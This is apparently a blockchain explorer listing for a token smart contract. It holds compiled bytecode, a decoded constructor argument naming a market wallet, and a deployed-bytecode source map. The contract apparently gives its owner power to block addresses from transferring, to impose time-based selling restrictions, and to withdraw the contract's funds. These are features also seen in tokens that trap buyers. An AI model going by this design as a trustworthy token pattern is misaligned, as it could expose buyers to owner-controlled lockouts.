91555050305f908152600360205260409020546124149083906129a1565b305f9081526003602090815260408083209390935560079052205460ff1615610d3457305f908152600460205260409020546124519082906129a1565b305f908152600460205260409020555050565b8060156001015f82825461247891906129a1565b9091555050601380548291905f906123f59084906129a1565b8060116003015f8282546124a591906129a1565b9091555050600c546124b890829061297a565b600c55600d546124c990839061297a565b600d555050565b5f610aa5836001600160a01b038416612654565b600d54600c545f918291825b600b54811015612623578260035f600b848154811061251157612511612952565b5f9182526020808320909101546001600160a01b03168352820192909252604001902054118061257957508160045f600b848154811061255357612553612952565b5f9182526020808320909101546001600160a01b03168352820192909252604001902054115b1561258f57600d54600c54945094505050509091565b60035f600b83815481106125a5576125a5612952565b5f9182526020808320909101546001600160a01b031683528201929092526040019020546125d3908461297a565b925060045f600b83815481106125eb576125eb612952565b5f9182526020808320909101546001600160a01b03168352820192909252604001902054612619908361297a565b91506001016124f0565b50600c54600d5461263491906129cb565b82101561264b57600d54600c549350935050509091565b90939092509050565b5f81815260018301602052604081205461269957508154600181810184555f848152602080822090930184905584548482528286019093526040902091909155610a33565b505f610a33565b6040518061016001604052805f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81525090565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b038116811461273a575f80fd5b919050565b5f8060408385031215612750575f80fd5b61275983612724565b946020939093013593505050565b5f60208284031215612777575f80fd5b610aa582612724565b5f805f60608486031215612792575f80fd5b61279b84612724565b92506127a960208501612724565b929592945050506040919091013590565b8035801515811461273a575f80fd5b5f602082840312156127d9575f80fd5b610aa5826127ba565b5f602082840312156127f2575f80fd5b5035919050565b5f806040838503121561280a575f80fd5b8235915061281a602084016127ba565b90509250929050565b5f8060208385031215612834575f80fd5b823567ffffffffffffffff81111561284a575f80fd5b8301601f8101851361285a575f80fd5b803567ffffffffffffffff811115612870575f80fd5b8560208260051b8401011115612884575f80fd5b6020919091019590945092505050565b5f805f80608085870312156128a7575f80fd5b5050823594602084013594506040840135936060013592509050565b5f805f606084860312156128d5575f80fd5b83359250602084013591506128ec60408501612724565b90509250925092565b5f8060408385031215612906575f80fd5b61290f83612724565b915061281a60208401612724565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b81810381811115610a3357610a33612966565b634e487b7160e01b5f52603160045260245ffd5b80820180821115610a3357610a33612966565b8082028115828204841417610a3357610a33612966565b5f826129e557634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122039f59f1c0b92c7d5b359d06be548f12473e341c2d8aa2a956985e50d046ab1e464736f6c634300081a0033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000a2c00ac832708b57a2bdcf8f17788fad00fa28a2
-----Decoded View---------------
Arg [0] : marketWallet_ (address): 0xa2C00ac832708B57A2bDCF8F17788faD00fa28a2
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000a2c00ac832708b57a2bdcf8f17788fad00fa28a2
Deployed Bytecode Sourcemap
11666:30994:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;28381:83;;;;;;;;;;-1:-1:-1;28451:5:0;;;;;;;;;;;-1:-1:-1;;;28451:5:0;;;;28381:83;;;;28451:5;28381:83;:::i;:::-;;;;;;;;29751:193;;;;;;;;;;-1:-1:-1;29751:193:0;;;;;:::i;:::-;;:::i;:::-;;;1085:14:1;;1078:22;1060:41;;1048:2;1033:18;29751:193:0;920:187:1;28658:95:0;;;;;;;;;;-1:-1:-1;28738:7:0;;28658:95;;;1258:25:1;;;1246:2;1231:18;28658:95:0;1112:177:1;12304:46:0;;;;;;;;;;-1:-1:-1;12304:46:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;29952:455;;;;;;;;;;-1:-1:-1;29952:455:0;;;;;:::i;:::-;;:::i;29456:95::-;;;;;;;;;;-1:-1:-1;29456:95:0;;;;;:::i;:::-;;:::i;:::-;;31753:262;;;;;;;;;;-1:-1:-1;31753:262:0;;;;;:::i;:::-;;:::i;28567:83::-;;;;;;;;;;-1:-1:-1;28567:83:0;;12428:1;2587:36:1;;2575:2;2560:18;28567:83:0;2445:184:1;12726:42:0;;;;;;;;;;;;;;;;28131:112;;;;;;;;;;-1:-1:-1;28131:112:0;;;;;:::i;:::-;;:::i;32790:473::-;;;;;;;;;;-1:-1:-1;32790:473:0;;;;;:::i;:::-;;:::i;32363:419::-;;;;;;;;;;-1:-1:-1;32363:419:0;;;;;:::i;:::-;;:::i;30415:297::-;;;;;;;;;;-1:-1:-1;30415:297:0;;;;;:::i;:::-;;:::i;42277:143::-;;;;;;;;;;;;;:::i;26659:164::-;;;;;;;;;;-1:-1:-1;26659:164:0;;;;;:::i;:::-;-1:-1:-1;;;;;26787:28:0;26755:7;26787:28;;;:20;:28;;;;;;;26659:164;33271:111;;;;;;;;;;-1:-1:-1;33271:111:0;;;;;:::i;:::-;;:::i;31256:489::-;;;;;;;;;;-1:-1:-1;31256:489:0;;;;;:::i;:::-;;:::i;29250:198::-;;;;;;;;;;-1:-1:-1;29250:198:0;;;;;:::i;:::-;;:::i;34067:115::-;;;;;;;;;;-1:-1:-1;34067:115:0;;;;;:::i;:::-;;:::i;14138:40::-;;;;;;;;;;-1:-1:-1;14138:40:0;;;;-1:-1:-1;;;14138:40:0;;;;;;26967:296;;;;;;;;;;-1:-1:-1;26967:296:0;;;;;:::i;:::-;;:::i;32023:332::-;;;;;;;;;;-1:-1:-1;32023:332:0;;;;;:::i;:::-;;:::i;33756:124::-;;;;;;;;;;-1:-1:-1;33756:124:0;;;;;:::i;:::-;-1:-1:-1;;;;;33845:27:0;33821:4;33845:27;;;:18;:27;;;;;;;;;33756:124;28251:122;;;;;;;;;;-1:-1:-1;28251:122:0;;;;;:::i;:::-;;:::i;28761:177::-;;;;;;;;;;-1:-1:-1;28761:177:0;;;;;:::i;:::-;;:::i;13387:104::-;;;;;;;;;;-1:-1:-1;13387:104:0;;;;;;;;;;;;;;;;;;;4371:25:1;;;4427:2;4412:18;;4405:34;;;;4455:18;;;4448:34;4513:2;4498:18;;4491:34;4358:3;4343:19;13387:104:0;4140:391:1;8282:148:0;;;;;;;;;;;;;:::i;13275:103::-;;;;;;;;;;-1:-1:-1;13275:103:0;;;;;;;;;;;;;;;27271:301;;;;;;;;;;-1:-1:-1;27271:301:0;;;;;:::i;:::-;;:::i;31128:120::-;;;;;;;;;;-1:-1:-1;31128:120:0;;;;;:::i;:::-;-1:-1:-1;;;;;31220:20:0;31196:4;31220:20;;;:11;:20;;;;;;;;;31128:120;13235:31;;;;;;;;;;-1:-1:-1;13235:31:0;;;;;;;;;;;;;4710:25:1;;;4766:2;4751:18;;4744:34;;;;4683:18;13235:31:0;4536:248:1;8059:87:0;;;;;;;;;;-1:-1:-1;8105:7:0;8132:6;-1:-1:-1;;;;;8132:6:0;8059:87;;;-1:-1:-1;;;;;4953:32:1;;;4935:51;;4923:2;4908:18;8059:87:0;4789:203:1;12687:32:0;;;;;;;;;;;;;;;;12954:36;;;;;;;;;;-1:-1:-1;12954:36:0;;;;;;;;;;;;;;;27580:543;;;;;;;;;;-1:-1:-1;27580:543:0;;;;;:::i;:::-;;:::i;30720:400::-;;;;;;;;;;-1:-1:-1;30720:400:0;;;;;:::i;:::-;;:::i;12185:55::-;;;;;;;;;;-1:-1:-1;12185:55:0;;;;;:::i;:::-;;;;;;;;;;;;;;28946:202;;;;;;;;;;-1:-1:-1;28946:202:0;;;;;:::i;:::-;;:::i;14037:26::-;;;;;;;;;;-1:-1:-1;14037:26:0;;;;-1:-1:-1;;;14037:26:0;;;;;;33508:240;;;;;;;;;;-1:-1:-1;33508:240:0;;;;;:::i;:::-;;:::i;33888:171::-;;;;;;;;;;-1:-1:-1;33888:171:0;;;;;:::i;:::-;;:::i;29559:184::-;;;;;;;;;;-1:-1:-1;29559:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;29708:18:0;;;29676:7;29708:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;29559:184;29156:86;;;;;;;;;;-1:-1:-1;29156:86:0;;;;;:::i;:::-;;:::i;26831:128::-;;;;;;;;;;-1:-1:-1;26831:128:0;;;;;:::i;:::-;-1:-1:-1;;;;;26924:27:0;26897:7;26924:27;;;:15;:27;;;;;;;26831:128;33390:110;;;;;;;;;;-1:-1:-1;33390:110:0;;;;;:::i;:::-;;:::i;12247:50::-;;;;;;;;;;-1:-1:-1;12247:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;13890:30;;;;;;;;;;-1:-1:-1;13890:30:0;;;;-1:-1:-1;;;;;13890:30:0;;;8438:281;;;;;;;;;;-1:-1:-1;8438:281:0;;;;;:::i;:::-;;:::i;13927:66::-;;;;;;;;;;-1:-1:-1;13927:66:0;;;;-1:-1:-1;;;;;13927:66:0;;;12777:26;;;;;;;;;;-1:-1:-1;12777:26:0;;;;-1:-1:-1;;;;;12777:26:0;;;34190:196;;;;;;;;;;-1:-1:-1;34190:196:0;;;;;:::i;:::-;;:::i;29751:193::-;29853:4;29875:39;3550:10;29898:7;29907:6;29875:8;:39::i;:::-;-1:-1:-1;29932:4:0;29751:193;;;;;:::o;29952:455::-;30084:4;30101:36;30111:6;30119:9;30130:6;30101:9;:36::i;:::-;30148:220;30171:6;3550:10;30219:138;30275:6;30219:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;30219:19:0;;;;;;:11;:19;;;;;;;;3550:10;30219:33;;;;;;;;;;:37;:138::i;:::-;30148:8;:220::i;:::-;-1:-1:-1;30386:13:0;;-1:-1:-1;;;30386:13:0;;;;29952:455;;;;;;:::o;29456:95::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;;;;;;;;;29520:13:::1;:23:::0;;;::::1;;-1:-1:-1::0;;;29520:23:0::1;-1:-1:-1::0;;;;29520:23:0;;::::1;::::0;;;::::1;::::0;;29456:95::o;31753:262::-;31847:7;31905;;31894;:18;;31872:110;;;;-1:-1:-1;;;31872:110:0;;6250:2:1;31872:110:0;;;6232:21:1;6289:2;6269:18;;;6262:30;6328:34;6308:18;;;6301:62;-1:-1:-1;;;6379:18:1;;;6372:40;6429:19;;31872:110:0;6048:406:1;31872:110:0;-1:-1:-1;32000:7:0;31753:262::o;28131:112::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;28203:17:::1;:32:::0;28131:112::o;32790:473::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;32870:20:0;::::1;;::::0;;;:11:::1;:20;::::0;;;;;::::1;;32862:56;;;::::0;-1:-1:-1;;;32862:56:0;;6661:2:1;32862:56:0::1;::::0;::::1;6643:21:1::0;6700:2;6680:18;;;6673:30;6739:25;6719:18;;;6712:53;6782:18;;32862:56:0::1;6459:347:1::0;32862:56:0::1;32934:9;32929:327;32953:9;:16:::0;32949:20;::::1;32929:327;;;33011:7;-1:-1:-1::0;;;;;32995:23:0::1;:9;33005:1;32995:12;;;;;;;;:::i;:::-;;::::0;;;::::1;::::0;;;::::1;::::0;-1:-1:-1;;;;;32995:12:0::1;:23:::0;32991:254:::1;;33054:9;33064:16:::0;;:20:::1;::::0;33083:1:::1;::::0;33064:20:::1;:::i;:::-;33054:31;;;;;;;;:::i;:::-;;::::0;;;::::1;::::0;;;::::1;::::0;33039:9:::1;:12:::0;;-1:-1:-1;;;;;33054:31:0;;::::1;::::0;33049:1;;33039:12;::::1;;;;;:::i;:::-;;::::0;;;::::1;::::0;;;;;;::::1;:46:::0;;-1:-1:-1;;;;;;33039:46:0::1;-1:-1:-1::0;;;;;33039:46:0;;::::1;;::::0;;33104:16;;::::1;::::0;;:7:::1;:16:::0;;;;;;:20;;;33143:11:::1;:20:::0;;;;:28;;-1:-1:-1;;33143:28:0::1;::::0;;33190:9:::1;:15:::0;;;::::1;;;;:::i;:::-;;::::0;;;::::1;::::0;;;;-1:-1:-1;;33190:15:0;;;;;-1:-1:-1;;;;;;33190:15:0::1;::::0;;;;;32929:327:::1;32790:473:::0;:::o;32991:254::-:1;32971:3;;32929:327;;;;32790:473:::0;:::o;32363:419::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;32437:20:0;::::1;;::::0;;;:11:::1;:20;::::0;;;;;::::1;;32432:250;;-1:-1:-1::0;;;;;32474:20:0;::::1;;::::0;;;:11:::1;:20;::::0;;;;;;;:27;;-1:-1:-1;;32474:27:0::1;32497:4;32474:27;::::0;;32520:7:::1;:16:::0;;;;;;:20;32516:117:::1;;-1:-1:-1::0;;;;;32600:16:0;::::1;;::::0;;;:7:::1;:16;::::0;;;;;32580:37:::1;::::0;:19:::1;:37::i;:::-;-1:-1:-1::0;;;;;32561:16:0;::::1;;::::0;;;:7:::1;:16;::::0;;;;:56;32516:117:::1;32647:9;:23:::0;;::::1;::::0;::::1;::::0;;-1:-1:-1;32647:23:0;;;;;::::1;::::0;;-1:-1:-1;;;;;;32647:23:0::1;-1:-1:-1::0;;;;;32647:23:0;::::1;;::::0;;32432:250:::1;-1:-1:-1::0;;;;;32692:27:0;::::1;;::::0;;;:18:::1;:27;::::0;;;;:34;;-1:-1:-1;;32692:34:0::1;32722:4;32692:34:::0;;::::1;::::0;;;32739:35:::1;::::0;32711:7;32739:26:::1;:35::i;30415:297::-:0;3550:10;30530:4;30624:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;30624:34:0;;;;;;;;;;30530:4;;30552:130;;30602:7;;30624:47;;30661:10;;30624:47;:::i;42277:143::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;42375:37:::1;::::0;42343:21:::1;::::0;42383:10:::1;::::0;42375:37;::::1;;;::::0;42343:21;;42325:15:::1;42375:37:::0;42325:15;42375:37;42343:21;42383:10;42375:37;::::1;;;;;;;;;;;;;::::0;::::1;;;;33271:111:::0;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;33340:27:0::1;;::::0;;;:18:::1;:27;::::0;;;;:34;;-1:-1:-1;;33340:34:0::1;33370:4;33340:34;::::0;;33271:111::o;31256:489::-;31374:7;31418;;31407;:18;;31399:62;;;;-1:-1:-1;;;31399:62:0;;7672:2:1;31399:62:0;;;7654:21:1;7711:2;7691:18;;;7684:30;7750:33;7730:18;;;7723:61;7801:18;;31399:62:0;7470:355:1;31399:62:0;31477:17;31472:266;;31511:28;31542:25;31553:7;31562:4;31542:10;:25::i;:::-;31589:9;;-1:-1:-1;31582:16:0;;-1:-1:-1;31582:16:0;31472:266;31631:28;31662:25;31673:7;31682:4;31662:10;:25::i;:::-;31709:17;;;;-1:-1:-1;31702:24:0;;-1:-1:-1;31702:24:0;29250:198;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;29335:9:::1;29330:111;29350:19:::0;;::::1;29330:111;;;29425:4;29391:18;:31;29410:8;;29419:1;29410:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;29391:31:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;29391:31:0;:38;;-1:-1:-1;;29391:38:0::1;::::0;::::1;;::::0;;;::::1;::::0;;-1:-1:-1;29371:3:0::1;29330:111;;;;29250:198:::0;;:::o;34067:115::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;34143:23:0::1;34169:5;34143:23:::0;;;:14:::1;:23;::::0;;;;:31;;-1:-1:-1;;34143:31:0::1;::::0;;34067:115::o;26967:296::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;27124:8:::1;:18:::0;;;;27153;:30;;;;27194:18;:30;27235:13;:20;26967:296::o;32023:332::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;32104:20:0;::::1;;::::0;;;:11:::1;:20;::::0;;;;;::::1;;32103:21;32095:61;;;::::0;-1:-1:-1;;;32095:61:0;;8032:2:1;32095:61:0::1;::::0;::::1;8014:21:1::0;8071:2;8051:18;;;8044:30;8110:29;8090:18;;;8083:57;8157:18;;32095:61:0::1;7830:351:1::0;32095:61:0::1;-1:-1:-1::0;;;;;32171:16:0;::::1;32190:1;32171:16:::0;;;:7:::1;:16;::::0;;;;;:20;32167:109:::1;;-1:-1:-1::0;;;;;32247:16:0;::::1;;::::0;;;:7:::1;:16;::::0;;;;;32227:37:::1;::::0;:19:::1;:37::i;:::-;-1:-1:-1::0;;;;;32208:16:0;::::1;;::::0;;;:7:::1;:16;::::0;;;;:56;32167:109:::1;-1:-1:-1::0;;;;;32286:20:0::1;;::::0;;;:11:::1;:20;::::0;;;;:27;;-1:-1:-1;;32286:27:0::1;32309:4;32286:27:::0;;::::1;::::0;;;32324:9:::1;:23:::0;;;;::::1;::::0;;;;;;::::1;::::0;;-1:-1:-1;;;;;;32324:23:0::1;::::0;;::::1;::::0;;32023:332::o;28251:122::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;28332:13:::1;:33:::0;28251:122::o;28761:177::-;-1:-1:-1;;;;;28851:20:0;;28827:7;28851:20;;;:11;:20;;;;;;;;28847:49;;;-1:-1:-1;;;;;;28880:16:0;;;;;:7;:16;;;;;;;28761:177::o;28847:49::-;-1:-1:-1;;;;;;28914:16:0;;;;;:7;:16;;;;;;;28761:177::o;8282:148::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;8389:1:::1;8373:6:::0;;8352:40:::1;::::0;-1:-1:-1;;;;;8373:6:0;;::::1;::::0;8352:40:::1;::::0;8389:1;;8352:40:::1;8420:1;8403:19:::0;;-1:-1:-1;;;;;;8403:19:0::1;::::0;;8282:148::o;27271:301::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;27429:9:::1;:19:::0;;;;27459;:31;;;;27501:19;:31;27543:14;:21;27271:301::o;27580:543::-;27725:4;27746:17;27767:1;27746:22;27742:40;;-1:-1:-1;27777:5:0;27770:12;;27742:40;27795:17;27815:35;27833:17;27815:15;:35;:::i;:::-;27795:55;;27880:17;;27867:9;:30;27863:47;;27906:4;27899:11;;;;;27863:47;27927:9;27940:1;27927:14;27923:120;;27962:11;;-1:-1:-1;;;;;27962:21:0;;;:11;;:21;27958:74;;28011:5;28004:12;;;;;27958:74;28070:7;28057:9;:20;28053:37;;28086:4;28079:11;;;;;28053:37;-1:-1:-1;28110:5:0;;27580:543;-1:-1:-1;;;;27580:543:0:o;30720:400::-;30840:4;30862:228;3550:10;30912:7;30934:145;30991:15;30934:145;;;;;;;;;;;;;;;;;3550:10;30934:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;30934:34:0;;;;;;;;;;;;:38;:145::i;28946:202::-;29051:4;29073:42;3550:10;29097:9;29108:6;29073:9;:42::i;:::-;-1:-1:-1;;29133:7:0;;-1:-1:-1;;;29133:7:0;;;;;28946:202;-1:-1:-1;28946:202:0:o;33508:240::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;33567:15:::1;:22:::0;;-1:-1:-1;;;;;33567:22:0;;::::1;-1:-1:-1::0;;;;;;33567:22:0;;::::1;::::0;::::1;::::0;;:15:::1;33601:28:::0;;;:11:::1;:28;::::0;;;;;;;:35;;-1:-1:-1;;33601:35:0::1;33567:22:::0;33601:35;;::::1;::::0;;;33662:15;;33647:9:::1;:31:::0;;;;::::1;::::0;;;;;::::1;::::0;;;;::::1;33662:15:::0;;::::1;33647:31;::::0;;;33724:15;;;;::::1;33716:24:::0;;:7:::1;:24:::0;;;;;;33689:7:::1;:24:::0;;;;;;:51;33508:240::o;33888:171::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;33965:21:::1;:32:::0;;;::::1;;-1:-1:-1::0;;;33965:32:0::1;-1:-1:-1::0;;;;33965:32:0;;::::1;;::::0;;34013:38:::1;::::0;::::1;::::0;::::1;::::0;33989:8;1085:14:1;1078:22;1060:41;;1048:2;1033:18;;920:187;34013:38:0::1;;;;;;;;33888:171:::0;:::o;29156:86::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;29217:7:::1;:17:::0;;;::::1;;-1:-1:-1::0;;;29217:17:0::1;-1:-1:-1::0;;;;29217:17:0;;::::1;::::0;;;::::1;::::0;;29156:86::o;33390:110::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;33457:27:0::1;33487:5;33457:27:::0;;;:18:::1;:27;::::0;;;;:35;;-1:-1:-1;;33457:35:0::1;::::0;;33390:110::o;8438:281::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8541:22:0;::::1;8519:110;;;::::0;-1:-1:-1;;;8519:110:0;;8388:2:1;8519:110:0::1;::::0;::::1;8370:21:1::0;8427:2;8407:18;;;8400:30;8466:34;8446:18;;;8439:62;-1:-1:-1;;;8517:18:1;;;8510:36;8563:19;;8519:110:0::1;8186:402:1::0;8519:110:0::1;8666:6;::::0;;8645:38:::1;::::0;-1:-1:-1;;;;;8645:38:0;;::::1;::::0;8666:6;::::1;::::0;8645:38:::1;::::0;::::1;8694:6;:17:::0;;-1:-1:-1;;;;;;8694:17:0::1;-1:-1:-1::0;;;;;8694:17:0;;;::::1;::::0;;;::::1;::::0;;8438:281::o;34190:196::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;34279:9:::1;34274:105;34290:20:::0;;::::1;34274:105;;;34363:4;34332:14;:28;34347:9;;34357:1;34347:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;34332:28:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;34332:28:0;:35;;-1:-1:-1;;34332:35:0::1;::::0;::::1;;::::0;;;::::1;::::0;;-1:-1:-1;34312:3:0::1;34274:105;;38323:369:::0;-1:-1:-1;;;;;38450:19:0;;38442:68;;;;-1:-1:-1;;;38442:68:0;;8795:2:1;38442:68:0;;;8777:21:1;8834:2;8814:18;;;8807:30;8873:34;8853:18;;;8846:62;-1:-1:-1;;;8924:18:1;;;8917:34;8968:19;;38442:68:0;8593:400:1;38442:68:0;-1:-1:-1;;;;;38529:21:0;;38521:68;;;;-1:-1:-1;;;38521:68:0;;9200:2:1;38521:68:0;;;9182:21:1;9239:2;9219:18;;;9212:30;9278:34;9258:18;;;9251:62;-1:-1:-1;;;9329:18:1;;;9322:32;9371:19;;38521:68:0;8998:398:1;38521:68:0;-1:-1:-1;;;;;38600:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;38652:32;;1258:25:1;;;38652:32:0;;1231:18:1;38652:32:0;;;;;;;38323:369;;;:::o;38700:769::-;-1:-1:-1;;;;;38837:20:0;;;;;;:14;:20;;;;;;;;38836:21;:44;;;;-1:-1:-1;;;;;;38862:18:0;;;;;;:14;:18;;;;;;;;38861:19;38836:44;38814:121;;;;-1:-1:-1;;;38814:121:0;;9603:2:1;38814:121:0;;;9585:21:1;9642:2;9622:18;;;9615:30;9681:29;9661:18;;;9654:57;9728:18;;38814:121:0;9401:351:1;38814:121:0;-1:-1:-1;;;;;38954:18:0;;38946:68;;;;-1:-1:-1;;;38946:68:0;;9959:2:1;38946:68:0;;;9941:21:1;9998:2;9978:18;;;9971:30;10037:34;10017:18;;;10010:62;-1:-1:-1;;;10088:18:1;;;10081:35;10133:19;;38946:68:0;9757:401:1;38946:68:0;-1:-1:-1;;;;;39033:16:0;;39025:64;;;;-1:-1:-1;;;39025:64:0;;10365:2:1;39025:64:0;;;10347:21:1;10404:2;10384:18;;;10377:30;10443:34;10423:18;;;10416:62;-1:-1:-1;;;10494:18:1;;;10487:33;10537:19;;39025:64:0;10163:399:1;39025:64:0;39117:1;39108:6;:10;39100:64;;;;-1:-1:-1;;;39100:64:0;;10769:2:1;39100:64:0;;;10751:21:1;10808:2;10788:18;;;10781:30;10847:34;10827:18;;;10820:62;-1:-1:-1;;;10898:18:1;;;10891:39;10947:19;;39100:64:0;10567:405:1;39100:64:0;39207:15;39217:4;39207:9;:15::i;:::-;39197:6;:25;;39175:123;;;;-1:-1:-1;;;39175:123:0;;11179:2:1;39175:123:0;;;11161:21:1;11218:2;11198:18;;;11191:30;11257:34;11237:18;;;11230:62;-1:-1:-1;;;11308:18:1;;;11301:46;11364:19;;39175:123:0;10977:412:1;39175:123:0;-1:-1:-1;;;;;39399:24:0;;;;;;:18;:24;;;;;;39311:150;;39340:4;;39359:2;;39376:6;;39399:24;;;:50;;-1:-1:-1;;;;;;39427:22:0;;;;;;:18;:22;;;;;;;;39399:50;39397:53;39311:14;:150::i;2696:240::-;2816:7;2877:12;2869:6;;;;2861:29;;;;-1:-1:-1;;;2861:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;2912:5:0;;;2696:240::o;10642:181::-;10733:4;10762:53;10770:3;-1:-1:-1;;;;;10790:23:0;;10762:7;:53::i;34431:512::-;34531:36;;:::i;:::-;34597:29;34609:7;34618;34597:11;:29::i;:::-;34585:41;;34854:52;34866:9;34877:7;34886;34895:10;:8;:10::i;:::-;34854:11;:52::i;:::-;34825:15;;;34639:267;34790:20;;;34639:267;34755:20;;;34639:267;34726:14;;;34639:267;34686:25;;;34639:267;;;34431:512;;;;:::o;39477:2792::-;39633:7;39629:1453;;;39671:15;;-1:-1:-1;;;;;39671:15:0;;;39661:25;;;;39657:1188;;8105:7;8132:6;-1:-1:-1;;;;;39733:17:0;;;8132:6;;39733:17;;;;:62;;-1:-1:-1;8105:7:0;8132:6;-1:-1:-1;;;;;39775:20:0;;;8132:6;;39775:20;;39733:62;:110;;;;-1:-1:-1;;;;;;39820:23:0;;39841:1;39820:23;;39733:110;39707:340;;;-1:-1:-1;;;;;39890:31:0;;;;;;:20;:31;;;;;;:36;;39886:142;;-1:-1:-1;;;;;39955:31:0;;;;;;:20;:31;;;;;39989:15;39955:49;;39886:142;40065:11;:23;;-1:-1:-1;;;;;;40065:23:0;-1:-1:-1;;;;;40065:23:0;;;;;40121:8;40107:22;:11;:22;;;;;;;;;;;;;39629:1453;;39657:1188;8105:7;8132:6;-1:-1:-1;;;;;40196:17:0;;;8132:6;;40196:17;;;;:62;;-1:-1:-1;8105:7:0;8132:6;-1:-1:-1;;;;;40238:20:0;;;8132:6;;40238:20;;40196:62;:110;;;;-1:-1:-1;;;;;;40283:23:0;;40304:1;40283:23;;40196:110;40170:515;;;-1:-1:-1;;;;;26787:28:0;;40349:20;26787:28;;;:20;:28;;;;;;40372:173;;40476:13;;40516:6;40372:20;:173::i;:::-;40349:196;;40576:15;40568:33;;;;-1:-1:-1;;;40568:33:0;;11596:2:1;40568:33:0;;;11578:21:1;11635:1;11615:18;;;11608:29;-1:-1:-1;;;11653:18:1;;;11646:35;11698:18;;40568:33:0;11394:328:1;40568:33:0;-1:-1:-1;;;;;;40624:23:0;;;;;;:15;:23;;;;;40650:15;40624:41;;40170:515;40717:9;40703:23;:11;:23;;;;;